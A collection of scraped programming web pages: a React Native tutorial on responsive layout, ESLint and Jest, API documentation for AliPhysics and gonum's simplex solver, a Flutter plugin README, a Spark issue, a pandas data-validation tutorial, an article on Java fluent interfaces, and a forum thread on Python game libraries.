If we reload the app, we’ll see that it looks well, but on iPhone X, the spacing from the bottom is way too big. We could fix that by toggling the bottom margin depending on the device size. I found a really handy utility that determines whether the app runs on an iPhone X[s/r]. Let’s just copy-paste this helper method into our utilities directory, export it in the
index.js and import it in the stylesheet of the Home screen:
import { isIphoneX } from "../../utilities";
Then, you can just simply use it with a ternary in the stylesheet:
bottomContainer: { marginBottom: isIphoneX() ? 0 : "5%", marginHorizontal: "5%", flexDirection: "row" },
The bottom bar will now render correctly on the home screen. Next off, we could continue with making the text size responsible as it plays a crucial role in the app UI and would have a significant effect on how the app looks.
Making the Text Size Responsive
As I mentioned already, we cannot use
em - therefore we’ll need some helper functions that will calculate the font sizes based on the screen dimensions.
I found a very handy solution for this from the guys over Soluto (Method 3): it uses the screen’s width and height and scales it from a standard 5” 350x680 size to the display’s current resolution.
Create a file in the utilities, paste the code below into it, export the new utility in the
utils/index.js, and import it in every stylesheet and the Header component. After that, wrap the
scale() function on every image
width/height and
fontSize property in your project. For example, there was an image with the properties
width: 40, change it to
width: scale(40). You can also play around the numbers a little bit if you want to.
import { Dimensions } from "react-native"; const { width, height } = Dimensions.get("window"); //Guideline sizes are based on standard ~5" screen mobile device const guidelineBaseWidth = 350; const guidelineBaseHeight = 680; export const scale = size => (width / guidelineBaseWidth) * size; export const verticalScale = size => (height / guidelineBaseHeight) * size;
Now, our app looks great on all iPhones - let’s clean up the code!
Cleaning up the Code
Let’s clean up our Game screen a bit because our file is getting very long (it’s 310 lines!): first, extract the grid generator to a separate component.
Create a
Grid.js file in the components directory, copy-paste the code below (it’s just the code we already had with some props, nothing new), and export it in the index.js:
import React from "react"; import { View, TouchableOpacity } from "react-native"; export const Grid = ({ size, diffTileIndex, diffTileColor, rgb, onPress }) => Array(size) .fill() .map((val, columnIndex) => ( <View style={{ flex: 1, flexDirection: "column" }} key={columnIndex}> {Array(size) .fill() .map((val, rowIndex) => ( <TouchableOpacity key={`${rowIndex}.${columnIndex}`} style={{ flex: 1, backgroundColor: rowIndex == diffTileIndex[0] && columnIndex == diffTileIndex[1] ? diffTileColor : `rgb(${rgb.r}, ${rgb.g}, ${rgb.b})`, margin: 2 }} onPress={() => onPress(rowIndex, columnIndex)} /> ))} </View> ));
Then, delete the grid from the
Game/index.js and add the new
Grid component as it follows:
{gameState === "INGAME" ? ( <Grid size={size} diffTileIndex={diffTileIndex} diffTileColor={diffTileColor} rgb={rgb} onPress={this.onTilePress} /> ) : ( ...
Next off, we could extract the shake animation because it takes up a bunch of space in our code. Create a new file:
utilities/shakeAnimation.js. Copy-paste the code below and export it in the
index.js.
import { Animated } from "react-native"; export const shakeAnimation = value => Animated.sequence([ Animated.timing(value, { toValue: 50, duration: 100 }), Animated.timing(value, { toValue: -50, duration: 100 }), Animated.timing(value, { toValue: 50, duration: 100 }), Animated.timing(value, { toValue: -50, duration: 100 }), Animated.timing(value, { toValue: 0, duration: 100 }) ]).start();
Then, import it in the Game screen, delete the cut-out code, and use the imported function for starting the animation of the grid. Pass in
this.state.shakeAnimation as an argument for our function:
… } else { // wrong tile shakeAnimation(this.state.shakeAnimation); ...
Last but not least, we could extract the bottom bar, too. It will require a bit of additional work - we’ll need to extract the styles and a helper function, too! So instead of creating a file, create a directory named “BottomBar” under
components, and create an
index.js and
styles.js file. In the
index.js, we’ll have a helper function that returns the bottom icon, and the code that’s been cut out from the
Game/index.js:
import React from "react"; import { View, Text, Image, TouchableOpacity } from "react-native"; import styles from "./styles"; const getBottomIcon = gameState => gameState === "INGAME" ? require("../../assets/icons/pause.png") : gameState === "PAUSED" ? require("../../assets/icons/play.png") : require("../../assets/icons/replay.png"); export const BottomBar = ({ points, bestPoints, timeLeft, bestTime, onBottomBarPress, gameState }) => ( <View style={styles.bottomContainer}> <View style={styles.bottomSectionContainer}> <Text style={styles.counterCount}>{points}</Text> <Text style={styles.counterLabel}>points</Text> <View style={styles.bestContainer}> <Image source={require("../../assets/icons/trophy.png")} style={styles.bestIcon} /> <Text style={styles.bestLabel}>{bestPoints}</Text> </View> </View> <View style={styles.bottomSectionContainer}> <TouchableOpacity style={{ alignItems: "center" }} onPress={onBottomBarPress} > <Image source={getBottomIcon(gameState)} style={styles.bottomIcon} /> </TouchableOpacity> </View> <View style={styles.bottomSectionContainer}> <Text style={styles.counterCount}>{timeLeft}</Text> <Text style={styles.counterLabel}>seconds left</Text> <View style={styles.bestContainer}> <Image source={require("../../assets/icons/clock.png")} style={styles.bestIcon} /> <Text style={styles.bestLabel}>{bestTime}</Text> </View> </View> </View> );
And the stylesheet is also just the needed styles cut out from the
Game/styles.js:
import { Dimensions, StyleSheet } from "react-native"; import { scale } from "../../utilities"; export default StyleSheet.create({ bottomContainer: { flex: 1, width: Dimensions.get("window").width * 0.875, flexDirection: "row" }, bottomSectionContainer: { flex: 1, marginTop: "auto", marginBottom: "auto" }, bottomIcon: { width: scale(45), height: scale(45) }, counterCount: { fontFamily: "dogbyte", textAlign: "center", color: "#eee", fontSize: scale(45) }, counterLabel: { fontFamily: "dogbyte", textAlign: "center", color: "#bbb", fontSize: scale(20) }, bestContainer: { marginTop: 10, flexDirection: "row", justifyContent: "center" }, bestIcon: { width: scale(22), height: scale(22), marginRight: 5 }, bestLabel: { fontFamily: "dogbyte", color: "#bbb", fontSize: scale(22), marginTop: 2.5 } });
Now, delete any code left in the Game files that have been extracted, export the
BottomBar in the
components/index.js, import it in the
screens/Game/index.js and replace the old code with the component as it follows:
<View style={{ flex: 2 }}> <BottomBar points={points} bestPoints={bestPoints} timeLeft={timeLeft} bestTime={bestTime} onBottomBarPress={this.onBottomBarPress} gameState={gameState} /> </View>
Now that our code is a bit cleaner and hopefully more understandable for you, we could continue with making our code more readable and consistent by adding ESLint to our project.
Initializing ESLint in React-Native/Expo Projects
If you don’t know already, ESLint is a pluggable linting utility for JavaScript and JSX. You may already have heard of Prettier, but do not mix them, because they both exist for a different reason.
ESLint checks for the logic and syntax of your code (or code quality), while Prettier checks for code stylistics (or formatting). You can integrate Prettier to ESLint too, but adding it to your editor via a plugin will do it for now.
First, install ESLint and some additional tools globally:
npm install --save-dev eslint eslint-config-airbnb eslint-plugin-import eslint-plugin-react eslint-plugin-jsx-a11y babel-eslint
When finished, initialize ESLint with the following command inside your project:
eslint --init. Then, select:
- Use a popular style guide
- Airbnb
yif it asks if you use React
- Pick JSON (if you choose a differing choice, the linter will behave the same way, but we’ll work inside the config file, and you’ll need to work around it a bit to make it work)
Then, restart your editor to make sure that the ESLint server starts in your editor, then open the
.eslintrc.json in the root of the project and make sure it contains the following:
{ "env": { "node": true, "browser": true, "es6": true }, "parser": "babel-eslint", "extends": "airbnb" }
Then, you can play around your code to shut the errors (there will be plenty of them), or simply disable the rules that annoy you. I don’t recommend going to the other extreme by disabling most of the rules since that would make ESLint useless.
You can, however, calmly disable rules like
react/jsx-filename-extension that will throw you an error if you DARE to write JSX code inside a .js file, or
global-require that will trigger even if you think about using
require() inside your code. Don't get me wrong. I think that they are reasonable rules, but in this project, they are simply not handy.
You can disable ESLint rules in the
.eslintrc.json:
"rules": { "react/jsx-filename-extension": [0], "global-require": [0] }
For rules,
- level 0 means disabling a rule,
- level 1 means setting it to warning level,
- and level 2 rules will throw an error.
You can read more about configuration in the docs.
Take your time fixing the issues, but before you start throwing out your computer already, be sure to check out the VSCode extension for ESLint.
It comes very handy when introducing ESLint to a previously non-linted project. For example, it can fix automatically fixable problems with just one click - and most of the issues (like spacing or bracket issues) are auto-fixable.
Automated React-Native Unit Testing with Jest
The only thing left before we can mark the project as a finished MVP is adding unit testing. Unit testing is a specialized form of automated testing that runs not only on your machine but in your CI too - so that failing builds don’t get into production.
There are several tools out there like Detox or Mocha, but I chose Jest because it’s ideal for React and React-Native testing. It has a ton of frontend testing features like snapshot testing that Mocha lacks.
If you aren’t familiar with testing yet, I don’t recommend learning it from this article as I will assume that you are already familiar with testing. We already have a very nice article about “Node.js unit testing” - so be sure to check it out to get familiar with some basic ideas and concepts.
Let’s get started with the basics: first, install Jest. With
react-native init, you get Jest out of the box, but when using Expo, we need to install it directly. To do so, run
yarn add jest-expo --dev or
npm i jest-expo --save-dev depending on which package manager you prefer.
Then, let’s add the snippets below to the corresponding places in the
package.json:
“scripts”: { … “test”: “jest” }, “jest”: { “preset”: “jest-expo” }
Then, install the test renderer library:
yarn add react-test-renderer --dev or
npm i react-test-renderer --save-dev. That’s it! 🎉
Now, let’s start by configuring Jest. Jest is a very powerful tool and comes with a handful of options, but for now, we will only add one option, the transformIgnorePatterns. (To learn more about other Jest config options, please head to the docs).
The
transformIgnorePatterns option expects “an array of regexp pattern string that are matched against all source file paths before transformation”. We will pass in the following arguments in the
package.json:
"jest": { "preset": "jest-expo", "transformIgnorePatterns": [ "node_modules/(?!(jest-)?react-native|react-clone-referenced-element|@react-native-community|expo(nent)?|@expo(nent)?/.*|react-navigation|@react-navigation/.*|@unimodules/.*|sentry-expo|native-base)" ] }
This snippet will ensure that every module that we use is transpiled, otherwise Jest might throw syntax errors and make our related tests fail.
Now, that everything’s set up and configured correctly, let’s start by writing our first unit test. I will write a test for the Grid component by creating the file
Grid.test.js inside the
componentsHome directory, but you can add tests for any file by adding a
filename.test.js next to it, and Jest will recognize these files as tests.
Our test will expect to have our Grid to have three children in the tree that gets rendered:
import React from 'react'; import renderer from 'react-test-renderer'; import { Grid } from './Grid'; describe('<Grid />', () => { it('has 1 child', () => { const tree = renderer .create( <Grid size={3} diffTileIndex={[1, 1]} diffTileColor="rgb(0, 0, 0)" rgb="rgb(10, 10, 10)" onPress={() => console.log('successful test!')} />, ) .toJSON(); expect(tree.length).toBe(3); // The length of the tree should be three because we want a 3x3 grid }); });
Now, run
yarn test or
npm test. You will see the test running, and if everything’s set up correctly, it will pass.
Congratulations, you have just created your first unit test in Expo! To learn more about Jest, head over to it’s amazing docs and take your time to read it and play around with it.
What other React-Native Topics Should we Cover?
Thanks for reading my React-Native tutorial series. If you missed the previous episodes, here's a quick rundown:
I'd like to create more content around React-Native, but I need some help with it! :)
It would be great if you could leave a few RN topics in the comment sections which are hard to understand or get-right.
PS: If you need a great team to build your app, reach out to us at RisingStack on our website, or just ping us at
Cheers,
Dani
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Interface for a cut class returning selection status and user information. More...
#include <AliEmcalCutBase.h>
Interface for a cut class returning selection status and user information.
This class extends the functionality of AliVCuts in the way that the cut implementation can add user information to the selection results: The method IsSelected of class AliVCuts returns a bool, representing whether an object was selected or not. For some selections, i.e. the hybrid track selection, where certain track types are defined, this is oversimplified. Instead one wants to return a selection status (track selected or not) and a user information which in case of hybrid tracks stores the hybrid track type. This is done using a smart pointer approach implemented in AliEmcalTrackSelResultPtr.
User classes inheriting from AliEmcalCutBase must implement the function IsSelected(const TObject *), this time returning an AliEmcalTrackSelResultPtr with
Definition at line 58 of file AliEmcalCutBase.h.
Definition at line 60 of file AliEmcalCutBase.h.
Definition at line 33 of file AliEmcalCutBase.cxx.
Definition at line 62 of file AliEmcalCutBase.h. | http://alidoc.cern.ch/AliPhysics/vAN-20180118/class_p_w_g_1_1_e_m_c_a_l_1_1_ali_emcal_cut_base.html | CC-MAIN-2019-39 | en | refinedweb |
import "gonum.org/v1/gonum/optimize/convex/lp"
Package lp implements routines to solve linear programming problems.
package lp implements routines for solving linear programs.
convert.go doc.go simplex.go
var ( ErrBland = errors.New("lp: bland: all replacements are negative or cause ill-conditioned ab") ErrInfeasible = errors.New("lp: problem is infeasible") ErrLinSolve = errors.New("lp: linear solve failure") ErrUnbounded = errors.New("lp: problem is unbounded") ErrSingular = errors.New("lp: A is singular") ErrZeroColumn = errors.New("lp: A has a column of all zeros") ErrZeroRow = errors.New("lp: A has a row of all zeros") )
func Convert(c []float64, g mat.Matrix, h []float64, a mat.Matrix, b []float64) (cNew []float64, aNew *mat.Dense, bNew []float64)
Convert converts a General-form LP into a standard form LP. The general form of an LP is:
minimize cᵀ * x s.t G * x <= h A * x = b
And the standard form is:
minimize cNewᵀ * x s.t aNew * x = bNew x >= 0
If there are no constraints of the given type, the inputs may be nil.
func Simplex(c []float64, A mat.Matrix, b []float64, tol float64, initialBasic []int) (optF float64, optX []float64, err error)
Simplex solves a linear program in standard form using Danzig's Simplex algorithm. The standard form of a linear program is:
minimize cᵀ x s.t. A*x = b x >= 0 .
The input tol sets how close to the optimal solution is found (specifically, when the maximal reduced cost is below tol). An error will be returned if the problem is infeasible or unbounded. In rare cases, numeric errors can cause the Simplex to fail. In this case, an error will be returned along with the most recently found feasible solution.
The Convert function can be used to transform a general LP into standard form.
The input matrix A must have at least as many columns as rows, len(c) must equal the number of columns of A, and len(b) must equal the number of rows of A or Simplex will panic. A must also have full row rank and may not contain any columns with all zeros, or Simplex will return an error.
initialBasic can be used to set the initial set of indices for a feasible solution to the LP. If an initial feasible solution is not known, initialBasic may be nil. If initialBasic is non-nil, len(initialBasic) must equal the number of rows of A and must be an actual feasible solution to the LP, otherwise Simplex will panic.
A description of the Simplex algorithm can be found in Ch. 8 of
Strang, Gilbert. "Linear Algebra and Applications." Academic, New York (1976).
For a detailed video introduction, see lectures 11-13 of UC Math 352.
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media_collector
A flutter plugin to get all images and videos from storage. Supports Android only
Usage
Add this to pubspec.yaml
dependencies: media_collector: ^0.0.1
Import the followings.
import 'package:media_collector/media_collector.dart'; import 'package:media_collector/model/image.dart'; import 'package:media_collector/model/video.dart';
And get images and videos as below,
List<Images> images = await MediaCollector.getImages; List<Videos> videos = await MediaCollector.getVideos;
The output will be list of Images/Videos objects. The structure of both type of objects is as follows,
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ml Word2Vec's findSynonyms methods depart from mllib in that they return distributed results, rather than the results directly:
def findSynonyms(word: String, num: Int): DataFrame = { val spark = SparkSession.builder().getOrCreate() spark.createDataFrame(wordVectors.findSynonyms(word, num)).toDF("word", "similarity") }
What was the reason for this decision? I would think that most users would request a reasonably small number of results back, and want to use them directly on the driver, similar to the take method on dataframes. Returning parallelized results creates a costly round trip for the data that doesn't seem necessary.
The original PR:
Manoj Kumar - do you perhaps recall the reason?
- relates to
SPARK-19866 Add local version of Word2Vec findSynonyms for spark.ml: Python API
- Resolved
- links to
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How to Validate Your Data with Python for Data Science
When it comes to data, no one really knows what a large database contains. Python can help data scientists with that issue. You must validate your data before you use it to ensure that the data is at least close to what you expect it to be.
What validation does is ensure that you can perform an analysis of the data and reasonably expect that analysis to succeed. Later, you need to perform additional massaging of the data to obtain the sort of results that you need in order to perform your task.
Figuring out what’s in your data
Finding duplicates in your data is important because you end up
Spending more computational time to process duplicates, which slows your algorithms down.
Obtaining false results because duplicates implicitly overweight the results. Because some entries appear more than once, the algorithm considers these entries more important.
As a data scientist, you want your data to enthrall you, so it’s time to get it to talk to you through the wonders of pand) search = pd.DataFrame.duplicated(df) print df print print search[search == True]
This example shows how to find duplicate rows. It relies on a modified version of the XMLData.xml file, XMLData2.xml, which contains a simple repeated row in it. A real data file contains thousands (or more) of records and possibly hundreds of repeats, but this simple example does the job. The example begins by reading the data file into memory. It then places the data into a DataFrame.
At this point, your data is corrupted because it contains a duplicate row. However, you can get rid of the duplicated row by searching for it. The first task is to create a search object containing a list of duplicated rows by calling pd.DataFrame.duplicated(). The duplicated rows contain a True next to their row number.
Of course, now you have an unordered list of rows that are and aren’t duplicated. The easiest way to determine which rows are duplicated is to create an index in which you use search == True as the expression. Following is the output you see from this example. Notice that row 1 is duplicated in the DataFrame output and that row 1 is also called out in the search results:
Number String Boolean 0 1 First True 1 1 First True 2 2 Second False 3 3 Third True 1 True dtype: bool
Removing duplicates
To get a clean dataset, you want to remove the duplicates from it. Fortunately, pandas does it for) print df.drop_duplicates()
As with the previous example, you begin by creating a DataFrame that contains the duplicate record. To remove the errant record, all you need to do is call drop_duplicates(). Here’s the result you get.
Number String Boolean 0 1 First True 2 2 Second False 3 3 Third True
Creating a data map and data plan
You need to know about your dataset. A data map is an overview of the dataset. You use it to spot potential problems in your data, such as
Redundant variables
Possible errors
Missing values
Variable transformations
Checking for these problems goes into a data plan, which is a list of tasks you have to perform to ensure the integrity of your data. The following example shows a data map, A, with two datasets, B and C:
import pandas as pd df = pd.DataFrame({‘A’: [0,0,0,0,0,1,1], ‘B’: [1,2,3,5,4,2,5], ‘C’: [5,3,4,1,1,2,3]}) a_group_desc = df.groupby(‘A’).describe() print a_group_desc
In this case, the data map uses 0s for the first series and 1s for the second series. The groupby() function places the datasets, B and C, into groups. To determine whether the data map is viable, you obtain statistics using describe(). What you end up with is a dataset B, series 0 and 1, and dataset C, series 0 and 1, as shown in the following output.
B C A 0 count 5.000000 5.000000 mean 3.000000 2.800000 std 1.581139 1.788854 min 1.000000 1.000000 25% 2.000000 1.000000 50% 3.000000 3.000000 75% 4.000000 4.000000 max 5.000000 5.000000 1 count 2.000000 2.000000 mean 3.500000 2.500000 std 2.121320 0.707107 min 2.000000 2.000000 25% 2.750000 2.250000 50% 3.500000 2.500000 75% 4.250000 2.750000 max 5.000000 3.000000
The breakup of the two datasets using specific cases is the data plan. As you can see, the statistics tell you that this data plan may not be viable because some statistics are relatively far apart.
The output from describe() can be hard to read, but you can break it apart, as shown here:
unstacked = a_group_desc.unstack() print unstacked
Using unstack() creates a new presentation so that you can see it better:
B count mean std min 25% 50% 75% max A 0 5 3.0 1.581139 1 2.00 3.0 4.00 5 1 2 3.5 2.121320 2 2.75 3.5 4.25 5 C count mean std min 25% 50% 75% max A 0 5 2.8 1.788854 1 1.00 3.0 4.00 5 1 2 2.5 0.707107 2 2.25 2.5 2.75 3
Of course, you may not want all the data that describe() provides. Here’s how you reduce the size of the information output:
print unstacked.loc[:,(slice(None),[‘count’,’mean’]),]
Using loc lets you obtain specific columns. Here’s the final output from the example showing just the information you absolutely need to make a decision:
B C count mean count mean A 0 5 3.0 5 2.8 1 2 3.5 2 2.5 | https://www.dummies.com/programming/big-data/data-science/how-to-validate-your-data-with-python-for-data-science/ | CC-MAIN-2019-39 | en | refinedweb |
Evolutionary architecture and emergent design
Fluent interfaces
Build internal DSLs to capture idiomatic domain patterns
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The preceding installment of this series introduced the subject of using domain-specific languages (DSLs) to capture domain idiomatic patterns. This installment continues with that topic, demonstrating various DSL construction techniques.
In his upcoming book Domain Specific Languages, Martin Fowler differentiates between two types of DSLs (see Related topics). External DSLs build a new language grammar, requiring tools like lexx and yacc or Antlr. An internal DSL builds new languages atop a base language, whose syntax it borrows and stylizes. The examples in this installment build internal DSLs using Java™ as the base language, constructing new mini-languages on top of its syntax.
Underlying all the following techniques for constructing DSLs is the notion of implicit context. DSLs (especially internal ones) try to eliminate noisy syntax by creating contextual wrappers around related elements. A good example of this concept appears in XML in the form of parent and child elements, which provide a wrapper around related items. You'll notice many of these DSL techniques achieve that same effect using language syntactic tricks.
Readability is one of the benefits of using a DSL. If you write code that nondevelopers can read, you shorten the feedback loop between your team and the people who are requesting features. A common DSL pattern identified in Fowler's book is called fluent interface, which he defines as behavior capable of relaying or maintaining the instruction context for a series of method calls. I'll show you several types of fluent interfaces, starting with method chaining.
Method chaining
Method chaining uses return values from methods to relay instruction context, which in this case is the object instance making the first method invocation. This sounds much more complex than it is, so I'll show an example to clarify this concept.
When working with DSLs, it is common to start with your goal syntax and reverse engineer backwards to figure out how to implement it. Starting at the end makes sense because readability is highly valued in DSLs. The example I'll use is a small application that tracks calendar entries. The application illustrates the DSL's syntax, as shown in Listing 1:
Listing 1. Goal syntax for a calendar DSL
public class CalendarDemoChained { public static void main(String[] args) { new CalendarDemoChained(); } public CalendarDemoChained() { Calendar fourPM = Calendar.getInstance(); fourPM.set(Calendar.HOUR_OF_DAY, 16); Calendar fivePM = Calendar.getInstance(); fivePM.set(Calendar.HOUR_OF_DAY, 17); AppointmentCalendarChained calendar = new AppointmentCalendarChained(); calendar.add("dentist"). from(fourPM). to(fivePM). at("123 main street"); calendar.add("birthday party").at(fourPM); displayAppointments(calendar); } private void displayAppointments(AppointmentCalendarChained calendar) { for (Appointment a : calendar.getAppointments()) System.out.println(a.toString()); } }
After the necessary cruft at the top dealing with Java calendars, you can see the method-chaining fluent interface in action as I add values to the two calendar entries. Notice that I'm using white space to separate the parts of what is (from a Java syntax standpoint) a single line of code. It is common in internal DSLs to stylize the use of the base language to make the DSL more readable.
The
Appointment class containing most of the fluent-interface methods appears in Listing 2:
Listing 2.
Appointment class
public class Appointment { private String _name; private String _location; private Calendar _startTime; private Calendar _endTime; public Appointment(String name) { this._name = name; } public Appointment() { } public Appointment name(String name) { _name = name; return this; } public Appointment at(String location) { _location = location; return this; } public Appointment at(Calendar startTime) { _startTime = startTime; return this; } public Appointment from(Calendar startTime) { _startTime = startTime; return this; } public Appointment to(Calendar endTime) { _endTime = endTime; return this; } public String toString() { return "Appointment:"+ _name + ((_location != null && _location.length() > 0) ? ", location:" + _location : "") + ", Start time:" + _startTime.get(Calendar.HOUR_OF_DAY) + (_endTime != null? ", End time: " + _endTime.get(Calendar.HOUR_OF_DAY) : ""); } }
As you can see, building fluent interfaces is straightforward. For each of the mutator methods, you diverge from standard JavaBean syntax by writing your setter methods to return the host object (
this) and by replacing the
set naming convention with something more readable. The general definition at the start of this section should now be clear. The context being relayed via the method chaining is
this, meaning that you can make a series of method calls concisely.
In the article "Leveraging reusable code, Part 2," I showed an API definition for a train car, as shown in Listing 3:
Listing 3. An API for a train car
Car2 car = new CarImpl(); MarketingDescription desc = new MarketingDescriptionImpl(); desc.setType("Box"); desc.setSubType("Insulated"); desc.setAttribute("length", "50.5"); desc.setAttribute("ladder", "yes"); desc.setAttribute("lining type", "cork"); car.setDescription(desc);
The problem domain for train cars is complex because of regulatory rules about contents and history. On the project that yielded this example, we had lots of complicated testing scenarios that required dozens of lines of
set calls like the ones in Listing 3. We tried to get our business analysts to verify that we had the right magical combination of attributes, but they pushed back because they viewed it as Java code, which they had no interest in reading. The ultimate impact of this problem was the requirement that a developer verbally translate the details, which is of course error-prone and time-consuming.
To resolve this problem, we converted our
Car class into a fluent interface, so that the code from Listing 3 became the fluent interface shown in Listing 4:
Listing 4. Fluent interface for train cars
Car car = Car.describedAs() .box() .length(50.5) .type(Type.INSULATED) .includes(Equipment.LADDER) .lining(Lining.CORK);
This code was declarative enough and removed sufficient noise from the Java API version that our business analysts were happy to verify it for us.
Returning to the calendar example, the last bit of the implementation is the
AppointmentCalendar class, which appears in Listing 5:
Listing 5.
AppointmentCalendar
public class AppointmentCalendarChained { private List<Appointment> appointments; public AppointmentCalendarChained() { appointments = new ArrayList<Appointment>(); } public List<Appointment> getAppointments() { return appointments; } public Appointment add(String name) { Appointment appt = new Appointment(name); appointments.add(appt); return appt; } }
The
add() method:
- Starts the method chain by creating a new
Appointmentinstance
- Adds the new instance to the list of appointments
- Ultimately returns the new appointment instance, meaning that subsequent method calls are invoked on the new appointment
When you run the application, you see the details of your configured appointments, as shown in Figure 1:
Figure 1. Results of running the calendar application
So far, method chaining looks like a simple way to clean up overly verbose syntax, especially method calls that are mostly declarative. This works well for idiomatic patterns in emergent design because domain patterns are frequently declarative.
Note that using method chaining necessitates violating the syntactic rules for JavaBeans,
which insist that mutator methods must start with
set and return
void. Building fluent interfaces is an example of knowing when it makes sense to break some of the rules. The JavaBeans specification isn't doing you any favors if it forces you to write obfuscated code! But nothing in the creation or use of fluent interfaces precludes supporting both the fluent interface and a JavaBeans interface. The fluent interface methods can turn around and call the standard
set methods, allowing you to use fluent interfaces even when frameworks insist that it interact with your classes as JavaBeans.
Solving the finishing problem
One pitfall that's inherent in fluent interfaces under certain circumstances is known as the finishing problem. I'll illustrate this issue by making a change to the
AppointmentCalendar class from Listing 5. Presumably, you'd like to do more than just display the appointments, such as put them in a database or some other persistence mechanism. Where do you add the code to save the completed appointment to storage? You can try to do it in
AppointmentCalendar's
add() method just before you return the appointment. Listing 6 shows an attempt to access the appointment here for something as simple as printing it:
Listing 6. Adding printing
public Appointment add(String name) { Appointment appt = new Appointment(name); appointments.add(appt); System.out.println(appt.toString()); return appt; }
When you run the code in Listing 6, the unhappy results illustrated in Figure 2 show up:
Figure 2. Error output after the addition to
AppointmentCalendar
The error displayed is a
NullPointerException occurring in the
toString() method on the
Appointment class. Why it complains here, even though the method worked correctly, is the essence of the finishing problem.
The error occurs because I'm trying to call the
toString() method on the appointment instance before the rest of the fluent-interface setter methods are called. The code to try printing the appointment appears in the method that creates the appointment instance and starts the chain. I could create a
save() or
finished() method that must be called as the last method in the chain, but I'd rather not impose an easy-to-forget rule on my DSL's users. In fact, I'd rather not impose any order semantics on the methods in my fluent interface.
The real problem is that I'm being too aggressive with the method-chaining technique. Method chaining works best for the creation of simple data objects, yet here I'm using it both for the setter methods on
Appointment and in
AppointmentCalendar to start the method chain.
I can fix the finishing problem by wrapping the creation of the appointment entirely with the parentheses of the appointment calendar's
add() method, as shown Listing 7:
Listing 7. Wrapping via parameter
AppointmentCalendar calendar = new AppointmentCalendar(); calendar.add( new Appointment("Dentist"). at(fourPM)); calendar.add( new Appointment("Conference Call"). from(fourPM). to(fivePM). at("555-123-4321")); calendar.add( new Appointment("birthday party"). from(fourPM). to(fivePM)). add( new Appointment("Doctor"). at("123 Main St")); calendar.add( new Appointment("No Fluff, Just Stuff"). at(fourPM)); displayAppointments(calendar);
In Listing 7, the
add() method's parentheses encapsulate the entire use of the
Appointment fluent interface, allowing the
add() method to handle whatever additional behavior that it wants (printing, persistence, and so on). In fact, I couldn't resist adding a bit of a fluent interface to
AppointmentCalendar itself: you can now chain together the
add() methods, as shown in Listing 7 and implemented in Listing 8:
Listing 8. The parameter-wrapping
AppointmentCalendar
public class AppointmentCalendar { private List<Appointment> appointments; public AppointmentCalendar() { appointments = new ArrayList<Appointment>(); } public AppointmentCalendar add(Appointment appt) { appointments.add(appt); return this; } public List<Appointment> getAppointments() { return appointments; } }
The finishing problem can arise any time you mix fluent-interface classes. It popped up in this example because I used the appointment calendar to start the method chain, mixing the construction and wrapping behaviors. By deferring construction and initialization to the
Appointment class, I make it easier to separate additional wrapping behavior (such as persistence).
Wrapping via functional sequence
Thus far, I've shown two of the three context-passing techniques for fluent-interface DSLs. The third — functional sequence — uses inheritance and anonymous inner classes to create a context wrapper. The calendar application rewritten using functional sequence appears in Listing 9:
Listing 9. Wrapping via functional sequence
calendar.add(new Appointment() {{ name("dentist"); from(fourPM); to(fivePM); at("123 main street"); }}); calendar.add(new Appointment() {{ name("birthday party"); at(fourPM); }});
Listing 9 shows a pattern that I introduced in "Leveraging reusable code, Part 2" under the guise of removing structural duplication. The syntax looks odd because of the double
{{ braces. The first set of enclosing braces delineates the construction of an anonymous inner class, and the second set delineates the instance initializer for the anonymous inner class. (If this sounds a bit confusing, you can refer back to "Leveraging Reusable Code, Part 2" for a lengthy explanation of this Java idiom.)
The main advantage of this style of fluent interface lies in its adaptability. The only thing a class needs to be used this way is a default constructor (which allows you to create an anonymous inner class instance inheriting from your class). That means that you can easily add fluent-interface methods to existing Java APIs without changing any of the current calling semantics. This allows you to "fluentize" existing APIs gradually.
Conclusion
DSLs capture idiomatic domain patterns concisely and effectively. Fluent interfaces provide a simple way to change the way you write code so that you can more readily see the idiomatic patterns you've fought to identify. They also force you to change your perspective on code just a bit: it should be not merely functional but readable as well, especially if nondevelopers need to consume any aspect of it. Fluent interfaces remove unnecessary noise from your syntax, allowing for more readable code. For declarative structures, you can express ideas more clearly with less effort.
In the next installment, I'll continue discussing DSL techniques as a mechanism for harvesting idiomatic patterns in emergent design.
Downloadable resources
Related topics
- The Productive Programmer (Neal Ford, O'Reilly Media, 2008): Neal Ford's most recent book expands on a number of the topics in this series.
- Domain Specific Languages (Martin Fowler, Addison-Wesley, 2010): Fowler's new book is available in beta form.
- "Crossing borders: Domain-specific languages in Active Record and Java programming" (Bruce Tate, developerWorks, April 2006): Tate compares Ruby and Java options for building DSLs.
- "Practically Groovy: Groovy: A DSL for Java programmers" (Scott Davis, developerWorks, February 2009): Davis makes a case for defining Groovy as a DSL for Java development.
- Antlr: Antlr is a powerful language design tool, giving you the ability to create new parsers and lexers for custom languages.
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Hello all.
Before I start asking I will say. I am not asking a question about how to get started with python, I am asking what I need to learn to make a game.
I already know the basics of python, so for example I am ok with getting a program to read a file, then to write to a different file, then to go and download a file, so on and so forth.
My problem at hand is getting my knowledge into a game; I am not sure what modules I should be learning.
Should I learn pyaudiogame, or learn about pygame,
What I am trying to find is different options for getting started with making games.
Also if any one has any good options, how would I learn about that module or library?
Thanks, and best regards
Hello all.
Well I've never really herd of pyaudiogame, if that's even a thing. I'd recommend pygame, at least that's what minefield re write and a couple of my other test python projects are made with.
so,
let me get this
you use mixer for your sound?
and you use pygame keyboard module?
But what do you use to make the window, Also to my knowlige the mixer does not work with 3 D audio.
thanks,
The window is usually created by pygame itself too and the mixer module works just fine for simply playing some sounds. But yes, you're right, the mixer doesn't support 3D audio. If you really want to have 3D audio, you should prefer OpenAL (or more advanced BASS wrappers, since there is a HRTF-based 3D audio add-on already in the works for that).
Best Regards.
Hijacker
thanks.
By the way how would i go about learning pygame's sintacks?
thanks.
also, @2
pyaudiogame is a thing, It lets you create games with only 1 module.
however it's not the best, but that's just going of what i have seen with it.
If any one has any more info about pyaudiogame that would be grate also!
I guess I should have been more clear. It's not made completely with pygame, pygame just handles the simple stuff like window, keyboard handling, etc. For sound I use a combination of sound_lib and amerikranian's awesome sound_pool, other things like menu were used with private modules I have access to.
ok, would you be able to shair any open source code or some thing.
so I could have an idea how it all works?
thanks.
HI.
Well you don't really learn syntax with pygame, it uses regular python syntax, you just need to read the pygame manual to get familiar with how pygame works.
The mixer in pygame is very basic, it plays sounds but never 3d. Like others have said if you want 3d sound there are other options than pygame. You could try using piglet too, it has some unique features for handling gaming things.
I wouldn't recommend using pyaudiogame, it has good features, but it is very outdated. It's your choice, but like I said, I would stick with pygame, piglet, or whatever else you find useful.
Hth.
